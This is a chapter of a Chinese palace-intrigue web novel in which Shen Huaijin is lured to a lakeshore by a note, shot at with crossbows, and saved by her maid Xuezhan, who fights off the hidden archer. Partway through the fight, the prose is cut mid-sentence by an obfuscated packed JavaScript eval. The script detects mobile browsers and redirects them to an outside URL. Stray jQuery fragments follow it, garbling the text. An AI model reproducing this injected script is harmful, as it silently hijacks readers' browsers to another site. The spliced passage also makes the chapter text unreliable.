22. 环环杀局

作品:《娘娘要上位

    纪初珩目光几不可察地在皇上与沈怀瑾之间极快地流转了一瞬,纤长的睫毛轻轻颤动了一下。


    她面上依旧挂着温婉得体的浅笑,什么也没说。


    “都进去说话吧。”皇后发话,打破了这微妙的寂静。


    “是。”纪初珩恭敬应道,侧身引路。


    帝后并行入内,再无人看向角落里的怀瑾。


    直到那几道身影消失在殿门内,怀瑾才真正松了一口气,只觉得后背已惊出一层冷汗。


    她片刻也不敢多留,几乎是立刻转身,沿着来时的路快步离去,脚步匆忙得近乎失仪,只想尽快逃离这令人窒息的景阳宫,仿佛身后有猛兽追赶一般。


    *


    又过了两日,春寒料峭,沈怀瑾正临窗翻阅着一本前朝杂记,雪盏轻手轻脚地进来,低声道:“小姐,小喜子方才递了消息出来。”


    怀瑾放下书,抬眼看她:“说。”


    “小喜子说,那日皇上从景阳宫离开后,纪贵人便立刻将尚药局册子一事原原本本禀报了皇后娘娘。皇后娘娘当即就命尚药局将当年的奉药记录全数呈上查阅,动静不小,许多人都看见了。”


    沈怀瑾闻言,一直微微悬着的心,终于落回了实处,轻轻吁出一口气。


    她当初在纪初珩面前,刻意隐去了自己瞥见“丽嫔”的关键细节,只含糊其辞,并“无意”中点出册子存放的方位,此举一来是自保,若纪初珩与丽嫔有所牵连,自己也算留了一线;二来,正是一场试探——看纪初珩是会选择依宫规上报,还是会私下有所动作。


    如今看来,纪初珩行事光明磊落,径直禀报了皇后,倒是自己多虑了。


    然而,她这口气还未完全舒尽,目光无意间扫过窗台,却猛地一凝。


    窗棂的缝隙里,不知何时,被人塞入了一角折叠的素笺。


    她的心倏然提起,快步上前取下,展开一看,上面只有一行潦草的字迹,仿佛仓促写就:


    ‘欲知冰窟真相,速至太液湖北岸礁石区,石缝下有凿冰铁证,春潮申时便至,过时不候。’


    字条像一块烧红的烙铁,烫得她指尖发颤。


    申时……现在已是未时三刻!距离潮水淹没证据,只剩下不到一个时辰!


    去,还是不去?


    这太明显了,像是一个精心布置的陷阱。纪初珩刚查了册子,这字条就来了,时间掐得如此之巧。此刻再去寻纪初珩商议,定然来不及。


    若不去,这条线索可能就此永沉湖底,真相石沉大海。可若去……北岸礁石区地处偏僻,一旦有事,呼救不及。


    她攥紧了字条。脑海中闪过祖父教导的“直如弦,坚如山”。她厌恶这种藏在暗处的算计,更渴望揪出那视人命如草芥的真凶。


    冒险的恐惧与追寻真相的渴望在她心中激烈交战。最终,后者占据了上风。


    *


    太液湖自皇子在那里出事后,平日里少有人去。


    怀瑾走得很快。她心里清楚,时间不多了。


    申时末,湖水上涨。她必须在那之前赶到。


    终于,前方出现了一片开阔的湖面。


    她此来抱有两个目的:一是验证字条所言,那石缝中是否真有凿冰铁证;二来,她心底还存着一丝念想,或许能借此机会,亲眼勘察这太液湖的地形地势,窥探一丝当年冰窟形成的端倪,推演皇子们遇害的可能情形。


    但是看着湖水早已冰雪消融,在春日的阳光下泛着粼粼波光,怀瑾知道,第二条是不太可能了。


    怀瑾停下脚步,眯起眼睛,仔细打量着四周。远处是绵延的宫墙,近处是大片的芦苇丛。湖岸空旷,礁石区人迹罕至。


    线索,或许只剩下字条上所说的石缝了。


    她定定神,提起裙摆,小心翼翼踩着湿滑的礁石,向那道幽深的石缝靠近。


    她伸手摸了摸最近的一条石缝——冰凉,潮湿。


    石缝里有水渍,显然湖水涨潮时会淹到这里。看来,字条上说的没错。湖水上涨后,这些石缝都会被淹没。


    怀瑾深吸一口气,开始逐一检查石缝。


    她把手伸进去,摸索着——


    第一条,空的。第二条,也是空的。第三条……


    就在她全神贯注之际——


    “咻!”一支弩箭射向了她,并非直取她性命,而是带着精准的算计,“锵”的一声狠狠钉在她脚边不及三寸的礁石上!


    火星迸溅,碎石屑擦过她的裙摆。沈怀瑾一惊,求生本能让她猛地向侧后方一缩。


    然而她立刻发觉,自己这下意识的一躲,正好完全暴露在了礁石区边缘那片毫无遮拦的泥泞滩涂上!


    那第一箭,根本是精心计算的驱赶,意在将她逼入这绝佳的射杀范围!第二道更为凌厉、更为急促的破空声已然追至!


    这一箭,速度极快,直指她的胸膛。就在这千钧一发之际——


    “铛——!”一道雪亮的刀光,自她侧后方的芦苇丛中惊现!


    雪盏的身影破开浑浊的浅水,带起一串冰冷的水花,她整个人犹如一道离弦之箭,后发先至,手中短刀精准无比地横斩在弩箭的箭镞与箭杆连接处!


    弩箭被一股巧劲猛地荡开,擦着沈怀瑾的衣袖,“噗”地一声深深扎进她身旁的泥地里,箭尾剧烈震颤。


    沈怀瑾猛地回头,看到的是雪盏沾湿的衣衫贴着矫健的身形,那双平日温顺的眼眸此刻寒光四射。


    怀瑾临行前便觉此事蹊跷,早已暗中吩咐雪盏尾随保护。


    雪盏自小被镇国公亲自培养,明为丫鬟,实则是武功高强的暗卫。怀瑾从小也学过些拳脚功夫,但那只是强身健体、防身自保的水平。


    而雪盏——


    雪盏是真正的杀手。


    “小姐趴下!”雪盏厉喝短促急切。


    话音未落,她已迅速掠出,足尖在滩涂礁石上轻点,借力腾空,义无反顾地直扑弩箭射来的方向——那片杀机四伏的幽暗树林!


    *


    风声在耳边呼啸,夹杂着怀瑾压抑的惊呼。雪盏眼中只有那片树林,只有那个刚刚闪现过弩箭寒光的方位。


    冲入林间的刹那,光线骤然昏暗。


    一股混合着泥土和腐烂落叶的气息扑面而来,但雪盏捕捉到了一丝极其淡薄、属于人的气息,以及……金属的冰冷味道。


    在那里!


    一道黑影正欲从一棵粗壮的槐树后窜向更深的密林!


    雪盏岂能让他逃脱?她身形一矮,贴地疾掠,瞬间拉近距离。手里的短刀往前一削,直取对方小腿,意在留下此人!


    那凶手反应亦是极快,竟不回头,向前一个翻滚,险之又险地避


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608350|187123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过这一刀,同时反手一扬。


    “咔!”一道黑光射过来!袖箭!


    如此近的距离,几乎避无可避。雪盏瞳孔猛缩,全身肌肉在这一刻绷紧到极致。千钧一发之际,她硬生生拧转腰身,手中短刀向上疾挑!


    一声脆响,袖箭被刀尖精准地磕飞,没入一旁的树干。而雪盏的攻势并未因此停滞,她脚下不停,继续追击。


    树林中光线昏暗,枝叶遮天蔽日。凶手在前方左突右闪,显然对这片树林极为熟悉。


    雪盏咬紧牙关。不能让他跑了!


    她猛地加速,与凶手的距离骤然拉近。


    “站住!”


    雪盏吼了一声,刀脱手飞出去!刀在空中转了几圈,直奔那人后心。但这凶手像是后脑勺长了眼睛,猛地一个侧身——


    短刀擦着他的肩膀飞过,钉在前方的树干上。


    “铛!”刀刃没入树干三分。


    可就在凶手侧身的一瞬间,雪盏右手一翻,袖中又滑出一把细长的匕首。她将匕首改劈为削,直切对方手臂!


    “嗤啦——”布帛撕裂的声响在寂静的林间格外刺耳。


    雪盏的匕首成功划破了对方深色的袖袋,连同内衬一并割开。也就在这一瞬间,一串深褐色、由无数细小珠子串成的手串滑落,“啪”地一声轻响,掉落在积满枯叶的地上。


    那凶手一愣,显然没料到贴身之物会掉落,他下意识地想弯腰去捡。但雪盏的匕首已经带着杀意,直逼他的喉间!


    凶手权衡利弊,终是发出一声不甘的低吼,放弃拾取,猛地向后一跃,身形几个起落,便彻底消失在林木深处。


    雪盏没有贸然去追,小姐还在湖边,安危未卜。


    她急促地喘息着,握紧匕首,警惕地环视四周,确认再无危险后,才弯腰,用匕首尖端小心翼翼地将手串挑起。


    *


    雪盏护着沈怀瑾,几乎是半搀半扶地将她带离了太液湖。


    回撷芳殿的一路上,她眼睛不停地扫来扫去。每个拐角,每棵树,每个假山后头,她都要看一眼。


    右手一直藏在袖子里,握着匕首。直到踏入撷芳殿的大门,反手将门闩落下,她才稍稍松了口气,但脸上凝重的戒备之色却未消散。


    沈怀瑾靠着门板,缓缓滑坐到冰凉的青砖地上,心脏仍在胸腔里疯狂跳动。方才生死一线的恐惧此刻才后知后觉地席卷而来,让她四肢发软。


    她闭上眼,那支射向她的弩箭仿佛还在眼前。


    “小姐,先喝口茶压压惊。”雪盏低声道,扶着她走向内室。


    然而,就在沈怀瑾的目光无意间扫过临窗的梳妆台时,她的脚步猛地顿住。梳妆台上,她平日用的那个紫檀木妆匣,被人移动了位置。


    妆匣之下,压着一张对折的素笺。一股寒意瞬间窜上。她挣脱雪盏的手,快步上前,一把抓起那张纸展开。


    上面只有一行字,笔迹与她收到的那张引她去太液湖的字条一模一样,透着冰冷的威胁:“若想保命,少管闲事。”


    这警告在意料之中。


    但紧接着,她的目光下移,只觉得一颗心直往下坠——在那素笺旁边,赫然躺着她那支昨日还簪在发间、母亲给她的羊脂白玉簪,此刻已齐中断成两截。


    这是在威胁她。下一个断的,就是她的脖子。